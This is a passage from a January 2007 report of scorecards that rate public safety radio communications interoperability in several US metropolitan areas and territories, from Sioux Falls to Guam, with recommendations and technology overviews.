Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
South Dakota designated Sioux Falls as its metropolitan area (area), which includes the City of Sioux Falls
and the counties of Minnehaha and Lincoln.
Governance: Advanced Implementation
South Dakota has demonstrated strong governance across multiple jurisdictions. The area’s Metro
Management Council (composed of representatives from the City of Sioux Falls, Minnehaha County, and
Lincoln County) developed the regional Tactical Interoperable Communications Plan (TICP). The
communications committee includes the area’s public support disciplines and local leadership, but appears to
lack federal involvement, which would be beneficial to include in the future. The area has published and
active agreements, which are frequently updated and reviewed. South Dakota should be commended for its
multiyear funding plan that takes into account local and state funding. Once revised, the area should
distribute the strategic plan to all regional public safety agencies.
Recommendations:
•
Proactively recruit new participants, including state and federal agencies
•
Align local and state strategic planning efforts to promote regional interoperability needs are met
Standard Operating Procedures (SOP): Advanced Implementation
Previously established communications policies and procedures from the area were incorporated into the
TICP, thereby providing a solid basis for implementing the SOPs across the area. These formalized SOPs
are used regularly, and updates are frequently distributed to all public safety agencies. The area has been
practicing the interoperable communications aspects of the National Incident Management System
(NIMS)/Incident Command System (ICS) for more than 1 year. Despite some minor glitches in the area’s
exercise (e.g., the ICS Form 205 was not updated throughout the exercise and the Communications Unit
Leader was not clearly identified to the participating agencies), the exercise evaluators stated that the area
generally performed well.
Recommendations:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The area successfully demonstrated correct use of the available interoperable communications equipment
(e.g., statewide radio caches, national shared channels, gateways, statewide system) during the TICP
validation exercise. For example, users demonstrated familiarity with set-up and effective use of cached
radios after instruction by the radio cache manager. The area also demonstrated strong participation from the
Urban/Metropolitan Area
B-35
January 2007
Tactical Interoperable Communications Scorecards
state and federal agencies during the exercise. Sioux Falls officials indicate that shared channels and the
shared system are used on a daily basis, and this day-to-day familiarity with the available interoperability
solutions was adequately demonstrated by area first responders during the validation exercise.
Recommendation:
•
Consider adding communications interoperability as component for all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
South Dakota employs a statewide very high frequency (VHF) digital trunked radio system that consists of tower sites
across the state networked to a controller located in Pierre. Roaming allows the user to traverse the state without losing
communications, and the system allows individual agencies to maintain private communications with agency talk
groups. The digital aspects of the system allow for clear communications over 90 percent of the geographic area of the
state, including Sioux Falls in Minnehaha County. Lincoln County uses its own conventional ultra high frequency
radio system. Interoperability between Minnehaha and Lincoln counties is achieved by mobile repeaters and portable
radios programmed on the statewide trunked system. A backup conventional system is in place to allow conventional
VHF radios access to the system via dispatcher-enabled console patch. The metropolitan area uses a mixture of shared
channels and talk groups, gateways, and cached radios to provide interoperability among regional first responders.
Urban/Metropolitan Area
B-36
January 2007
Tactical Interoperable Communications Scorecards
Nashville (Tennessee)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
The State of Tennessee designated Nashville as its metropolitan area (area), which includes the City of
Nashville, State Capitol Region and agencies within the Metropolitan Davidson County area.
Governance: Intermediate Implementation
10%
10%15%
15%
The Nashville area has established an Interoperability Committee within the Tennessee Homeland Security
District 5 that is beginning to establish interoperability as a priority across the area. The Interoperability
Committee is a fairly new, ad hoc group that was established to develop the Tactical Interoperable
Communications Plan (TICP). The area’s officials stated that the area was formalizing agreements among
the member agencies, but current partnerships were still primarily based on verbal agreements. The
continued development of documented agreements would support the formalization of these partnerships to
ensure clear roles and responsibilities relating to communications interoperability issues and decisions. A
strategic plan for the area has been developed, but it has not yet been approved by the member agencies,
making it difficult to determine whether area agencies are committed to carrying out the plan. Fiscal support
for the area’s interoperability efforts has come primarily through grant funding and does not address funding
for recurring expenses (e.g., operations and maintenance). It is not clear whether these funds are being used
for priorities established by the regionwide governance group or whether long-term funding strategies have
been developed.
Recommendations:
•
Establish a committee charter and encourage formal membership to migrate to a decision-making group
that includes all first responder agencies
•
Document and formalize the necessary agreements (e.g., memoranda of understanding), to include local,
state, and federal partnerships, to achieve regional interoperability
•
Encourage full review, approval, adoption, and acceptance of the strategic plan by all participants and
attempt to align local and state strategic planning efforts to ensure that regional interoperability needs are
met
•
Encourage the development of a regional interoperability funding plan as part of the strategy, including
long-term (e.g., 3 to 5 years) funding sources (in addition to grants)
•
Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically
focus on communications interoperability
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Nashville area has based its TICP on components of the Tennessee Emergency Management Plan
already in place to address policies and procedures for communications interoperability. The TICP has since
been disseminated to the agency dispatch centers to promote awareness of the procedures. During the TICP
validation exercise, the participating agencies demonstrated success in the use of the equipment SOPs as
defined in the TICP. The area has been working to implement the National Incident Management System
(NIMS)/Incident Command System (ICS) over the last 6 months, which implies that the area is still in the
10%
10%15%
15%
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
B-37
January 2007
Tactical Interoperable Communications Scorecards
earlier stages of implementing NIMS/ICS policies and procedures. This fact could be confirmed based on
the degree of difficulty the area faced in following command and control procedures in its exercise (e.g.,
multiple incident commanders, difficulty identifying the Communications Unit Leader [COML]). This
should be a focus for continued training and exercise.
Recommendations:
•
Continue to maintain, review, and update SOPs, and disseminate to all included organizations
•
Ensure that regional SOPs are aligned with those documented in statewide operations plans
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The area uses shared channels and shared system (Nashville 800 megahertz [MHz] system) on a daily basis
and demonstrated proficiency in this area during the TICP validation exercise. Gateways and radio caches
are available for agencies with disparate systems, and both methods were successfully used during the
exercise. Despite the active participation of the state in TICP development, there was little state or federal
participation in the validation exercise. The area is encouraged to build on its successful exercise and further
integrate State, Federal, and support agencies in future tests.
Recommendations:
•
Continue to exercise and train on applicable means of communications interoperability to improve
familiarity of use
•
Involve state and federal agencies (e.g., Tennessee Department of Health, Department of Transportation)
in training and exercises
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Four shared systems are in use in the greater Nashville area, including two 800 MHz trunked systems and two very high
frequency (VHF) systems. There are also various VHF, ultra high frequency (UHF), 700 MHz, and 800 MHz mutual
aid channels in the area. Many gateways and consoles are available for patching; however, the Nashville area prefers to
use patches as a last resort. The Tennessee Emergency Management Agency (TEMA) assumes that the TICP will be
expanded to include counties surrounding the Nashville area. The TICP is the basis for a coordinated approach to
interoperability communications in the area; however, future funding will be coordinated through TEMA. Coordination
with TEMA will ensure that TICP radio equipment purchases by independent jurisdictions are managed properly.
Urban/Metropolitan Area
B-38
January 2007
Tactical Interoperable Communications Scorecards
Salt Lake City (Utah)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
Utah has designated Salt Lake City as its metropolitan area (area), which includes all cities, townships, and
jurisdictions within Salt Lake County.
Governance: Advanced Implementation
The Utah Wireless Integrated Network (UWIN) is successful in establishing communications interoperability
as a regional priority. The UWIN, a wireless intergovernmental network that will leverage existing state
resources (e.g., Utah Communications Agency Network [UCAN]), was established by executive order of the
governor in November 2003. Within UWIN, there is a Governance Board and a Technology Steering
Committee that include the local public safety, state, and federal agencies. The area should be commended
for having formal and active agreements that facilitate interoperability (including the Tactical Interoperable
Communications Plan [TICP]) that are signed by all included organizations and reviewed after every update.
While strategic goals have been established through the UWIN, the area appears to lack a formal strategic
plan focused on interoperable communications. Despite the apparent lack of a strategic plan, Salt Lake City
should be commended as a model for how its budget and communications equipment procurement decisions
are made with consideration for regional interoperability, including covering recurring costs (operations and
maintenance). The area has also demonstrated a successful long-term funding strategy for the
implementation of the UCAN system. Based on the activities of the governor in creating UWIN and the
subsequent actions of the group, it appears that there is strong local, regional, and state support for
interoperable communications in Salt Lake City.
Recommendation:
•
Develop a strategic plan beyond the operational focus of the TICP, with participant approval, adoption,
and acceptance
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The TICP provided the area with the first formal regional interoperable communications SOPs. The area
participated in additional training focused on SOPs, and has taken further steps to disseminate these policies
to public safety agencies within the area, including to dispatch centers. With the recent adoption of the
TICP, the area has begun implementing the National Incident Management System (NIMS)/Incident
Command System (ICS) to fire, law enforcement, and emergency medical service agencies. While the area
indicated that both equipment SOPs and NIMS/ICS procedures have not been formally adopted, the exercise
reflected proficiency in execution of the practices. However, it was noted in the After Action Report (AAR)
that there was confusion with communications unit roles and responsibilities during the event.
Recommendations:
•
Continue efforts to implement SOPs as formalized through the TICP
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
B-39
January 2007
Tactical Interoperable Communications Scorecards
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
Most of the public safety agencies in the area use the existing regional shared system (UCAN) as their
primary communications system. The AAR indicates that area’s participants are accustomed to working
together as a team and are able to demonstrate proficiency in using interoperable communications when
needed. While patches were used effectively in some areas of the exercises, consistent use of gateways was
not demonstrated in the exercise. In addition, although several large area agencies operate radio caches, their
deployment was not practiced during the TICP validation exercise.
Recommendations:
•
Regularly train, test, and exercise deployment of regional interoperability resources (e.g., gateway) to
improve proficiency
•
Consider adding communications interoperability as component for all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overv
Technology Overv
Technology Overv
Technology Overview
iew
iew
iew
The UCAN provides Motorola® 800 megahertz (MHz) SmartZone™ infrastructure in the Salt Lake City area.
Virtually all public safety agencies in the area use UCAN as their primary communications system. The only
exceptions are Salt Lake City, which operates a Motorola SmartZone 800 MHz Specialized Mobile Radio system within
its jurisdictional boundary, and Murray City, which operates a conventional 800 MHz network within its jurisdictional
boundary. The State of Utah owns and operates Motorola Omni-Link infrastructure in the Salt Lake area that enables
interagency connectivity between UCAN, Salt Lake City, and other communications resources.
The UCAN near-term focus appears to be on re-banding, which includes replacing some radios, reprogramming many
(i.e., 15,500) radios, retuning infrastructure (60 sites and 26 standalone repeaters). The UCAN, along with Motorola
Omni-Link infrastructure, will provide additional dispatch center patches statewide. This type of interoperability will
also be used for future mutual-aid solutions. The UWIN Technology Steering Committee is also addressing an
initiative for a broadband wireless pilot and a request for proposals that could lead to interoperable broadband
communications in the more distant future.
Urban/Metropolitan Area
B-40
January 2007
Tactical Interoperable Communications Scorecards
Northeast Quadrant (Vermont)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The State of Vermont has designated the “Northeast Quadrant” as its metropolitan area (area). The Northeast
Quadrant includes Caledonia, Essex, and Orleans counties.
Governance: Established Implementation
15%
20%
20%
20%
There is demonstrated political and fiscal leadership in the area with a strong push toward statewide
interoperability. Interoperable communications funding is a priority for the area and the state as a whole;
budgets are developed and equipment is procured according to strategic goals. However, funding is currently
based on federal grants, and there is no long-term regional funding plan for recurring expenses, without
which there is no guarantee of continued ability to operate and maintain existing interoperability
infrastructure. The Vermont Communications Committee (VCOMM) established the Regional Interoperable
Communications Committee (RICC) in March 2006 to create the Tactical Interoperable Communications
Plan (TICP). The RICC includes local, state, and federal representation and has both a technical and an
operations working group. The area has published and active agreements (signed memoranda of
understanding [MOU] for VCOMM) but has not yet put the agreements into practice. There are formal
partnerships among the Vermont Sheriff’s Association and the Vermont Police Association, and informal
partnerships with the remaining public safety agencies in the area. The area is working toward the
development of a regional strategic plan but it has not yet been adopted by all agencies, and it is unclear
whether the plan is aligned with statewide strategic planning efforts.
Recommendations:
•
Ensure that all applicable local, state, and federal agencies (and international border interoperable
communications efforts as applicable) are involved in the decision-making group and define roles and
responsibilities as part of the group
•
Document and formalize agreements (e.g., MOUs) among all participating agencies to achieve regional
communications interoperability
•
Continue to work toward approval, adoption, and acceptance of the regional strategic plan
•
Clarify the relationship between the regional and statewide strategic planning efforts
•
Incorporate a regional interoperability funding strategy into the strategic plan, with consideration for
funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning
efforts
•
Continue to broaden and champion a governance structure that would more fully support regional
interoperability
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The TICP provides the first regional communications SOPs for the Northeast Quadrant. The plan is still
under development and will be formalized and disseminated to participating agencies in fiscal year 2007.
National Incident Management System (NIMS)/Incident Command System (ICS) is a high priority for the
public safety agencies at local, county, and state levels but has only recently been implemented. Recent
10%
10%15%
15%
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
B-41
January 2007
Tactical Interoperable Communications Scorecards
NIMS/ICS implementation is indicative of lower responder familiarity of command and control SOPs. The
exercise demonstrated the participants had initial confusion in how to strictly follow the SOPs for command
and control responsibilities, including the Communications Unit Leader; however, once established they
were able to perform the required duties. During the exercise, the participants demonstrated a need for
further training on the regional SOPs for gateways.
Recommendations:
•
Ensure all regional interoperability SOPs are incorporated into the TICP and distributed to participating
agencies
•
Regularly practice SOPs to increase proficiency in their use (e.g., gateway SOPs)
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
Northeast Quadrant officials indicated that there is little need for interoperable communications in the area.
The area does not regularly use its interoperable communications equipment as a result. During the TICP
validation exercise, the participants were successful in using shared channels and gateways for
interoperability, and amateur radios were used for backup communications. The exercise involved public
safety agencies across all levels of government (e.g., Vermont State Police, Customs and Border Protection),
which is commendable.
Recommendations:
•
Regularly test and exercise deployment of all applicable regional interoperability resources, including
gateways and shared channels, to improve proficiency
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Vermont's Northeast Quadrant has limited interoperability options because there are no shared systems or available
cache radios. Limited interoperability could be established through shared channels, although not all agencies serving
the metropolitan area have access to these shared channels. Alternatively, interoperability could be enabled using
console patches at dispatch centers or by use of either the City of Newport or the state mobile gateways.
Long-term goals are to expand the number of radio channels available, specifically the nationally available very high
frequency (VHF) VCALL/VHF VTAC and ultra high frequency (UHF) UCALL/UHF UTAC channels. The current
network includes multiple agencies on state, county, and local levels that use the NIMS/ICS. These agencies include
the Vermont Department of Health and Vermont Emergency Management. Most of the existing dispatches in Vermont
are done through public safety answering points (PSAP). The state police have four PSAPs. The PSAPs perform
various services for law enforcement, fire, and emergency medical services. This shared system is used on a daily basis.
The existing network will be expanded to assist selected communities with core coverage needs. Lastly, services will
be expanded to include data communications for the first responder community, when funding is available, and to assist
first responder entities in enhancing their internal communications.
Urban/Metropolitan Area
B-42
January 2007
Tactical Interoperable Communications Scorecards
Morgantown (West Virginia)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The State of West Virginia has designated the “Tri-County” area of Harrison, Marion, and Monongalia
counties as its metropolitan area (area).
Governance: Intermediate Implementation
10%
10%15%
15%
The State of West Virginia has taken the lead in developing the West Virginia Incident Response Plan
(WVIRP), and a multidiscipline governing board has been designated to oversee this statewide effort. Under
the leadership of Harrison County Emergency Services, the Tri-County Region was part of the first
implementation phase of the WVIRP radio system. The Tactical Interoperable Communications Plan (TICP)
was developed for this area as part of this effort. Informal agreements are in place throughout the area to
ensure interoperability. While the state may be involved in strategic planning (including multistate strategic
planning), it is unclear whether the Tri-County area has developed a strategic plan for their area. It is also
unclear whether the strategic plan addresses regional agencies not currently supported by the tri-county
system, such as the fire community in Monongalia County. Funding is currently based on federal grants and
there is no long-term regional funding plan based on sustainable funding sources for recurring expenses,
without which there is no guarantee of continued ability to operate and maintain existing interoperability
infrastructure. .
Recommendations:
•
Continue to participate in statewide planning committee efforts, and support multi-state interoperability
efforts
•
Document and formalize agreements (e.g., memoranda of understanding) among all participating
agencies to achieve regional interoperability
•
Develop and implement a strategic plan (beyond the operational focus of the TICP), with participant
approval, adoption, and acceptance
•
Ensure that all public safety entities are included in a strategic plan (e.g., clarify whether Monongalia fire
service is involved)
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
•
Incorporate a regional interoperability funding strategy into strategic plan, such as considering funding
models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts
•
Continue to broaden and champion a governance structure that would more fully support regional
interoperability
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Tri-County area’s TICP incorporates policies and procedures for the use of the state’s new West
Virginia Interoperability Radio Project (WVIRP) Project 25 (P25) system, which was developed under a
DHS Interoperable Communications Equipment grant. These policies have been disseminated to all included
agencies, as well as regional dispatch centers. During the TICP validation exercise, the participants
successfully established interoperable communications through the shared system and console patching (the
10%
10%15%
15%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
B-43
January 2007
Tactical Interoperable Communications Scorecards
area’s only means of interoperability). West Virginia began implementing the National Incident
Management System (NIMS) less than one year ago. While still a new process for the area, NIMS/ Incident
Command System (ICS) was demonstrated during the exercise with only minor problems. As detailed in its
exercise Improvement Plan, gaps in these areas will be addressed through additional training and exercises.
Recommendations:
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The area is proficient at regularly using console patches to connect multiple agencies across different
systems, including an ultra high frequency (UHF) system. The use of these console patches and the UHF
shared system were proficiently demonstrated during the TICP validation exercise. It was noted in the
exercise that all jurisdictions were familiar with the shared system’s use and operation. It should be noted
that Morgantown does not have any radio caches or mutual aid channels available. The area had a successful
exercise, but did not integrate all state, federal, and selected local agencies (e.g., Monongalia Fire Service),
which could present interoperability challenges.
Recommendations:
•
Involve local, state, and federal agencies (e.g., Monongalia fire service, National Guard) in training and
exercises
•
Consider adding communications interoperability as component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The agencies within the Tri-County area operate on multiple conventional, very high frequency and UHF radio systems.
Interoperability is achieved through console patches as well as the WVIRP, a P25 standards-compliant, digital, trunked,
UHF radio system. The consoles have the ability to patch channels/talk groups from all systems and all counties in the
Tri-County area. These consoles are located in three dispatch centers that are staffed around the clock.
The Tri-County area will continue to use console patches and the WVIRP radio system. The WVIRP is expected to be
implemented statewide in the future.
Urban/Metropolitan Area
B-44
January 2007
Tactical Interoperable Communications Scorecards
Laramie County (Wyoming)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
The State of Wyoming has designated Laramie County, the City of Cheyenne, and public safety agencies
serving state government in the Capitol Complex as its metropolitan area (area).
Governance: Advanced Implementation
The Wyoming Public Safety Communications Commission (PSCC) has successfully established
communications interoperability as a public safety priority in the area. The PSCC was created and
formalized in 2004 by state statute and is the primary communications committee in the area. The PSCC
consists of five working groups with significant local, state, and federal participation—Administration and
Funding, WyoLink Operations, Spectrum, Inter-operability Executive Committee, and the State Agency Law
Enforcement Communications Committee (SALECS). The Wyoming PSCC is in the process of developing
and publishing active agreements (e.g., WyoLink Handbook and Membership Agreement), but currently is
operating with informal and undocumented agreements. Laramie County has a strategic plan in place that
specifically supports the use of a shared, statewide system (WyoLink) that allows interoperable
communications among the agencies in the area. The area has a long-term funding plan in place to build,
maintain, and operate the WyoLink system through the use of state and federal funding. The governor has
been active in prioritizing interoperability for public safety agencies in both the state and in Laramie County
with proven political and fiscal support.
Recommendations:
•
Document and formalize the necessary agreements (e.g., memoranda of understanding), including local,
state, federal, and tribal partnerships to achieve regional interoperability
Standard Operating Procedures (SOP): Advanced Implementation
The area demonstrated successful consolidation of separate jurisdictional SOPs (City of Cheyenne and
Laramie County’s recently consolidated communications center and SOPs) into the Tactical Interoperable
Communications Plan (TICP). These regional SOPs for interoperability have been distributed to all
organizations, and Laramie County plans to participate in additional TICP and Communications Unit Leader
training. The area has indicated that as the WyoLink system becomes fully operational across the state,
updated SOPs will be included in the TICP and disseminated. Laramie County began implementing the
National Incident Management System (NIMS)/Incident Command Structure (ICS) more than one year ago,
and all public safety agencies in the area use these procedures. Overall, command and control was
performed successfully during the TICP validation exercise; however, because of the limited scope of the
exercise, assessing the use of regional SOPs and command and control in a multijurisdictional environment
was limited. Laramie County indicated that the TICP would be expanded to include surrounding
jurisdictions in the future.
Recommendations:
•
Update and disseminate the TICP once the WyoLink system is implemented
Urban/Metropolitan Area
B-45
January 2007
Tactical Interoperable Communications Scorecards
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
Laramie County frequently uses gateway console patches in day-to-day operations and uses shared channels
daily. The area fully demonstrated interoperable communications capabilities (e.g., through shared channels
and gateways), including state and federal agencies, although the TICP validation exercise was limited in
scope to agencies in Laramie County. In the future, multijurisdictional exercises should test the use of the
new WyoLink system within the area.
Recommendations:
•
Conduct more robust exercises to test interoperable communications capabilities (e.g., additional
participants, additional local, state, federal, and tribal agencies)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overvie
Technology Overvie
Technology Overvie
Technology Overviewwww
Public safety communications in the State of Wyoming currently take place on multiple standalone very high frequency
(VHF) radio systems. The state is currently replacing these outdated systems with a statewide VHF high band digital
trunked system designed to meet the Project 25 standards. The installation is scheduled in phases, with the first phase
providing coverage for Laramie County. This first phase of the installation is expected to be complete by the end of
2006, and the entire system is planned to be completed by late 2007.
Urban/Metropolitan Area
B-46
January 2007
Tactical Interoperable Communications Scorecards
American Samoa
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Early Implementation
Usage:
Early Implementation
American Samoa designated the entire Territory of American Samoa as its metropolitan area (area). The
area consists of five rugged, highly eroded (and extinct) volcanic islands and two coral atolls. The American
Samoa islands are Tutuila, Aunu’u, Ofu, Olosega, Ta’u, Swains, and Rose Islands. (Swains and Rose Islands
are not covered under the systems discussed in this summary.)
Governance: Intermediate Implementation
10%
10%15%
15%
The Territorial Emergency Communications Committee (TECC) was established in 2005 and reports to the
Office of the Governor. TECC oversaw the creation of the Tactical Interoperable Communications Plan
(TICP); this formal committee includes local agencies, the National Oceanic and Atmospheric
Administration, and the Federal Aviation Administration. This mix of local and federal participation
represents a positive step in achieving multijurisdictional communications interoperability plans. Beyond the
operational focus of the TICP, the area does not have any formal interoperable communications agreements
and has a mix of formal and informal partnerships among the public safety organizations in the area.
American Samoa does not have a strategic plan for regional interoperable communications, but has recently
initiated planning efforts. This strategy, as it develops, can also support the prioritization of goals so that
funding can be planned accordingly. Currently, jurisdictions develop budgets within their jurisdiction
through federal grant money allocations and have no other sustainable funding sources. Interoperable
communications planning began in 2005 for American Samoa, but since that time no additional federal grant
monies have been allocated to the area for future investments and lifecycle costs. With a recent push for
more interoperability support and the governor’s direct involvement, leadership in American Samoa provides
political support for regional interoperability.
Recommendations:
•
Clarify federal membership in the decision-making group (e.g., TECC), and document roles and
responsibilities
•
Develop, document, and formalize agreements (e.g., signed memoranda of understanding [MOU] with
defined roles and responsibilities) among all participating agencies relating to regional interoperability
•
Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the TICP and store
them in an accessible format and establish a regular review process so they remain relevant
•
Develop, document, and implement a regional strategic plan (beyond the operational TICP) with
participant approval, adoption, and acceptance, that takes into account a long-term communications
funding strategy (beyond grants)
•
Align regional and territorywide strategic planning efforts to ensure that regional needs are met
•
List near-term territorywide interoperability funding priorities and identify a funding plan
•
Develop and implement a territorywide approach to long-term (e.g. 3 to 5 years) sustainable funding that
is consistent with the strategic plan
•
Continue to champion a governance structure that will support regional communications interoperability,
and involve senior regional government leadership in long-term funding plans
10%
10%15%
15%
10%5%
5%
5%
10%5%
5%
5%
Urban/Metropolitan Area
B-47
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP): Early Implementation
10%5%
5%
5%
The SOPs in the American Samoa TICP represent the area’s first regional plan for interoperable
communications. Despite having the TICP adopted by all participating agencies, no steps have been taken to
disseminate it to ensure its incorporation in operations (e.g., distribution to all included agencies and dispatch
centers). During the exercise, participants did not demonstrate proficiency in executing the TICP policies
and procedures (e.g., problems activating gateways). The area has not yet begun to implement the National
Incident Management System (NIMS)/Incident Command System (ICS), and participants were unable to
demonstrate proficiency during the exercise (e.g., unified command was not established, Communications
Unit Leader was designated but not announced).
Recommendations:
•
Develop regional interoperability SOPs (beyond the TICP) with acceptance by first responder agencies
•
Distribute and put SOPs into practice throughout the territory through regular training, exercises, and
usage
•
Develop training policies and requirements for inclusion in the TICP to ensure broad understanding of
the SOPs
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Early Implementation
10%5%
5%
5%
American Samoa does not frequently encounter situations that require communications interoperability
solutions; however, its shared system is used for day-to-day operations. TICP validation exercise
participants communicated primarily through face-to-face communications rather than through interoperable
communications equipment, but were able demonstrate some familiarity with gateways (e.g., fixed gateway
patched successfully) when required. The limited scope of the exercise did not provide an opportunity for
participants to fully stress their interoperable communications capabilities. As such, the participants were
asked to test the use of their available interoperability assets and did not demonstrate proficiency in their use
(e.g., incident command experienced problems operating the cache radio). Additionally, because the
exercise was conducted in a mix of English and Samoan, and some documentation is in Samoan, outside
responders may encounter a language barrier during a mutual aid response.
Recommendations:
•
Regularly test and exercise deployment of and procedures for territory’s interoperability resources (e.g.,
gateways) to improve proficiency and familiarity of use
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The territory’s public safety personnel use an ultra high frequency (UHF) radio system, with one channel for fire and
police. More channels have recently been found, and the Territorial Office of Homeland Security will work with
Department of Public Safety to use them. The Emergency Medical Services uses its own UHF radio system. Airport
Rescue and Fire Fighting is on an aviation band very high frequency radio system. All radio systems have severe
coverage and maintenance issues. The area would like to move toward a Project 25 compliant radio system for all
agencies on the islands and would also like to obtain communications links to nearby islands for purposes of marine
interdiction and mutual aid. A lack of funding is the main issue preventing interoperability progress.
Urban/Metropolitan Area
B-48
January 2007
Tactical Interoperable Communications Scorecards
Guam
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
Guam designated the entire island territory of Guam as its metropolitan area (area).
Governance: Established Implementation
15%
20%
20%
20%
The Interoperable Communications Working Group (ICWG) group, which created the Tactical Interoperable
Communications Plan (TICP), includes all public safety organizations in the area, and reports directly to the
Homeland Security Advisor and the Governor. Guam operates through one level of government and has
formalized agreements within the government; the area is developing additional memoranda of
understanding with the Department of Defense (DoD), U.S. Coast Guard, and the National Guard. Although
Guam has encountered problems in formalizing an agreement, its efforts to work with DoD to establish such
an agreement are commendable. Guam does not currently have a strategic plan for regional interoperable
communications, but appears to be developing regional strategic goals. The Guam Police Department
provides for the maintenance costs associated with the area’s shared system backbone, but the area does not
have a long-term funding strategy for additional lifecycle costs specific to interoperability needs. The
Governor and other regional leadership have clearly made regional interoperability a political priority.
Recommendations:
•
Continue to involve area and federal organizations in the decision-making group (e.g., ICWG), and
document roles and responsibilities as part of group
•
Establish a regular review process to ensure that agreements remain current and relevant
•
Develop, document, and implement a regional strategic plan (beyond the operational TICP) with
participant approval, adoption, and acceptance, that takes into account a long-term communications
funding strategy (beyond grants)
•
Align regional and area-wide strategic planning efforts to ensure that regional interoperability needs are
met
•
Develop and implement a area-wide approach to long-term (e.g., 3 to 5 years) sustainable funding that is
consistent with the strategic plan
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The SOPs included in the Guam TICP represent the area’s first regional plan for interoperable
communications, but the area has taken some steps to disseminate the TICP (e.g., TICP Implementation
Workshop to train area agencies). During the exercise, participants did not demonstrate familiarity with the
TICP policies and procedures (e.g., shared talk groups documented in TICP are not programmed into radios).
While no training procedures currently exist, there are plans to establish these procedures. National Incident
Management System (NIMS)/Incident Command System (ICS) has not yet been implemented in Guam, but
the area is working to establish compliance among the public safety organizations.
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
B-49
January 2007
Tactical Interoperable Communications Scorecards
Recommendations:
•
Develop regional communications interoperability SOPs (beyond the TICP) with acceptance by area first
responder agencies
•
Distribute and put SOPs into practice throughout the area through regular training, exercises, and usage
•
Develop training policies and requirements for inclusion in the TICP
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
Guam uses interoperable communications solutions almost exclusively for mutual aid response efforts.
During the TICP validation exercise, participants were able to demonstrate familiarity with console patching;
however, they generally were unable to establish interoperable communications among all participating
agencies (e.g., Guam Civil Defense Agency, public health, power department). The shared talk groups noted
in the TICP were not programmed into the portable radios, and no shared channels were available. However,
participants were able to demonstrate proficiency in using the area’s shared system (used in day-to-day
events).
Recommendations:
•
Regularly test and exercise the deployment of and procedures for the area’s communications
